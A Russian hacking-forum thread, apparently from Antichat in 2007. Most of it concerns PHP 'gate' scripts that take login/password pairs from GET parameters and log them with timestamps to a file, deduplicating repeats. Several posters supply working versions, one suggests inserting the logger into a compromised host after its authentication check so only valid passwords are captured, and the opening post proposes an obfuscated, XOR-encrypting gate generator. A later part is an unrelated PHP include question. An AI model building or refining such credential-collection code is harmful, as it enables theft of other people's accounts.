Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

21.11.2007, 17:44
|
|
Познающий
Регистрация: 04.08.2005
Сообщений: 62
Провел на форуме: 350685
Репутация:
46
|
|
Скрипт рабочий, но допустим, мне нужно поставить дату и время перед каждой парой логин , пароль. Я сделал вот так:
PHP код:
<?PHP
$date = date("m/d/y H:i:s");
if (isset($_GET["acc"]) && isset($_GET["pass"])) {
$line = sprintf("$date [ %s , %s ]\n", $_GET["acc"], $_GET["pass"]);
$suff_data = file("file.txt");
foreach ($suff_data as $account_data)
if (trim($line) == trim($account_data)) die("повтор");
$file_id = fopen("file.txt", "a+");
if (!$file_id) die("die");
fputs($file_id, $line);
fclose($file_id);
}
?>
На выходе получаем это:
Код:
11/21/07 14:23:46 [ test , test ]
11/21/07 14:23:50 [ test , test ]
11/21/07 14:23:50 [ test , test ]
11/21/07 14:39:05 [ sdfsdf , sdfdsf ]
11/21/07 14:39:09 [ sdfsdf , sdfdsf ]
11/21/07 14:39:10 [ sdfsdf , sdfdsf ]
11/21/07 14:39:13 [ sdfsdf , sdfdsf ]
11/21/07 14:39:14 [ sdfsdf , sdfdsf ]
11/21/07 14:39:26 [ werwr , sdfsdsg ]
11/21/07 14:39:36 [ werwr , sdfsdsg ]
11/21/07 14:39:37 [ werwr , sdfsdsg ]
11/21/07 14:39:43 [ werwr , sdfsdsg ]
11/21/07 14:39:44 [ werwr , sdfsdsg ]
11/21/07 14:40:00 [ werwr , sdfsdsg ]
Скрипт смотрит строки, а мне нужно чтоб он смотрел в квадратные скобки каждой строчки) И еще, юзеры зачастую первый раз вводят пароль неправильно и посылают данные еще раз. Тоесть, автоматом надо отсеивать только повторяющиеся пары логин+пароль, а не просто логин.
Предлагаю мастерам написать гибкий скрипт универсального гейта) С гуи интерфейсом и всякими фичами. Хокер выбирает, какие переменные принимать, куда их сохранять, в каком формате, ставить ли дату и время, в каком опять же формате и где, включать ли защиту от повторов. Гуи должен в конце показать кусочек пхп кода file() , со всеми нужными переменными и адресом сервера.
Вроде, я такому еще аналогов не видел.
Да, кусочек кода может модифицироваться base64 по желанию, а инфа криптоваться XOR'ом.
Последний раз редактировалось spyke; 21.11.2007 в 17:54..
|
|
|

21.11.2007, 17:58
|
|
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
Провел на форуме: 6828219
Репутация:
2274
|
|
Пля! Ничо не понимал, дошло что это гейт
PHP код:
<?PHP
$date = date("m/d/y H:i:s");
if (isset($_GET["acc"]) && isset($_GET["pass"])) {
$line = sprintf("$date [ %s , %s ]\n", $_GET["acc"], $_GET["pass"]);
$suff_data = file_get_contents("file.txt");
if (!strpos($suff_data,"{$_GET['acc']} , {$_GET['pass']}")) {
$file_id = fopen("file.txt", "a+");
if (!$file_id) die("die");
fputs($file_id, $line);
fclose($file_id);
} //Иначе просто ничего не делать
}
?>
Если чё, стучи 202-995-022 буду тебя учить 
Последний раз редактировалось Ponchik; 22.11.2007 в 12:02..
|
|
|

21.11.2007, 18:33
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме: 2238549
Репутация:
1318
|
|
Ну чтобы писать с датой запроса, можно использовать такой скрипт:
PHP код:
<?php
if (isset($_GET["login"]) && isset($_GET["password"])) {
$line = sprintf("%s:%s\n", $_GET["login"], $_GET["password"]);
$suff_data = file("stuff.txt");
foreach ($suff_data as $account_data)
if (trim($line) == trim($account_data)) die("Повтор на первом игроке");
$file_id = fopen("stuff.txt", "a+");
if (!$file_id) die("Не могу открыть файлег!");
$extended_line = sprintf("[%s] - %s", date("m/d/y H:i:s"), $line);
fputs($file_id, $extended_line);
fclose($file_id);
}
?>
А чтобы писать только те пароли, которые были введены правильно - ты просто вставь на хосте, в которого ты засадил шпиона, строчку вызова вошки в то место, которое идёт после проверки аутентификации...
|
|
|

21.11.2007, 18:37
|
|
Познающий
Регистрация: 04.08.2005
Сообщений: 62
Провел на форуме: 350685
Репутация:
46
|
|
Спасибо всем еще раз, проблема решена)
|
|
|

22.11.2007, 08:53
|
|
Постоянный
Регистрация: 29.10.2007
Сообщений: 381
Провел на форуме: 651930
Репутация:
65
|
|
почему в браузере не высвечивается содержимое файлов(файлы не пустые...)
PHP код:
<HTML>
<HEAD>
<TITLE>Главная страница</TITLE>
</HEAD>
<table width=100% height=100% border=1>
<tr><td height=150 colspan=3>
<center>Заголовок</center>
</td></tr>
<tr><td width=150>
<?php
include "left.php";
?>
</td>
<td>
TEXT
</td>
<td width=150>
<?php
include "golos.html";
?>
</td></tr>
<tr><td height=15 colspan=3>
TEXT
</td></tr>
</table>
</HTML>
Последний раз редактировалось XopoIII; 22.11.2007 в 10:15..
|
|
|

22.11.2007, 08:54
|
|
Постоянный
Регистрация: 29.10.2007
Сообщений: 381
Провел на форуме: 651930
Репутация:
65
|
|
часть таблицы где инклуды тупо проподает
|
|
|

22.11.2007, 11:49
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме: 2238549
Репутация:
1318
|
|
В общем, код такого вида:
PHP код:
<?php
print("<HTML>");
print("<HEAD> ");
print("<TITLE>Главная страница</TITLE> ");
print("</HEAD> ");
print("<table width=100% height=100% border=1>");
print("<tr><td height=150 colspan=3>");
print("<center>Заголовок</center>");
print("</td></tr>");
print("<tr><td width=150>");
include "1.php";
print("</td>");
print("<td>");
print("TEXT");
print("</td>");
print("<td width=150>");
include "2.html";
print("</td></tr>");
print("<tr><td height=15 colspan=3>");
print("TEXT");
print("</td></tr>");
print("</table>");
print("</HTML>");
и такого:
PHP код:
<HTML>
<HEAD>
<TITLE>Главная страница</TITLE>
</HEAD>
<table width=100% height=100% border=1>
<tr><td height=150 colspan=3>
<center>Заголовок</center>
</td></tr>
<tr><td width=150>
<?php
include "1.php";
?>
</td>
<td>
TEXT
</td>
<td width=150>
<?php
include "2.html";
?>
</td></tr>
<tr><td height=15 colspan=3>
TEXT
</td></tr>
</table>
</HTML>
у меня отработал корректно и вывел то, что планировалось... Я думаю проблема в выводе, который формируют инклуды... Что-то он гробит... Ибо в таком варианте просто нечему работать...
|
|
|

22.11.2007, 11:54
|
|
Постоянный
Регистрация: 29.10.2007
Сообщений: 381
Провел на форуме: 651930
Репутация:
65
|
|
спасибо сенсей, почему то недодумался чтобы в пхп это сделать+))
|
|
|

22.11.2007, 12:01
|
|
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
Провел на форуме: 6828219
Репутация:
2274
|
|
XopoIII, Не слушай этого злого дядю, он врёт 
Если я конечно правильно понял... Тебе нужно содержимое файлов получать, делай не include "1.php"; а echo file_get_contents("1.php"); т.к. тебе не выполнить файл надо а прочитать и всё будет норм работать
PHP код:
<HTML>
<HEAD>
<TITLE>Главная страница</TITLE>
</HEAD>
<table width=100% height=100% border=1>
<tr><td height=150 colspan=3>
<center>Заголовок</center>
</td></tr>
<tr><td width=150>
<?=file_get_contents('left.php');?>
</td>
<td>
TEXT
</td>
<td width=150>
<?=file_get_contents('golos.html');?>
</td></tr>
<tr><td height=15 colspan=3>
TEXT
</td></tr>
</table>
</HTML>
Последний раз редактировалось Ponchik; 22.11.2007 в 12:15..
|
|
|

22.11.2007, 12:12
|
|
Постоянный
Регистрация: 29.10.2007
Сообщений: 381
Провел на форуме: 651930
Репутация:
65
|
|
Сообщение от Ponchik
XopoIII, Не слушай этого злого дядю, он врёт 
Если я конечно правильно понял... Тебе нужно содержимое файлов получать, делай не include "1.php"; а echo file_get_contents("1.php"); т.к. тебе не выполнить файл надо а прочитать и всё будет норм работать
получается тоже самое что и просто инклуд, а если делаю как граунд у меня кричит:
"); print(" "); print(" "); print(" "); print("
"); print("
"); print("
"); print("
"); print("
"); print("
"); print("
а если меняю расширение на пхп то все нормально, но браузер не видит его хз почему подскажите кто знает, он ищет у меня index.html а не .пхп =(
Последний раз редактировалось XopoIII; 22.11.2007 в 12:31..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|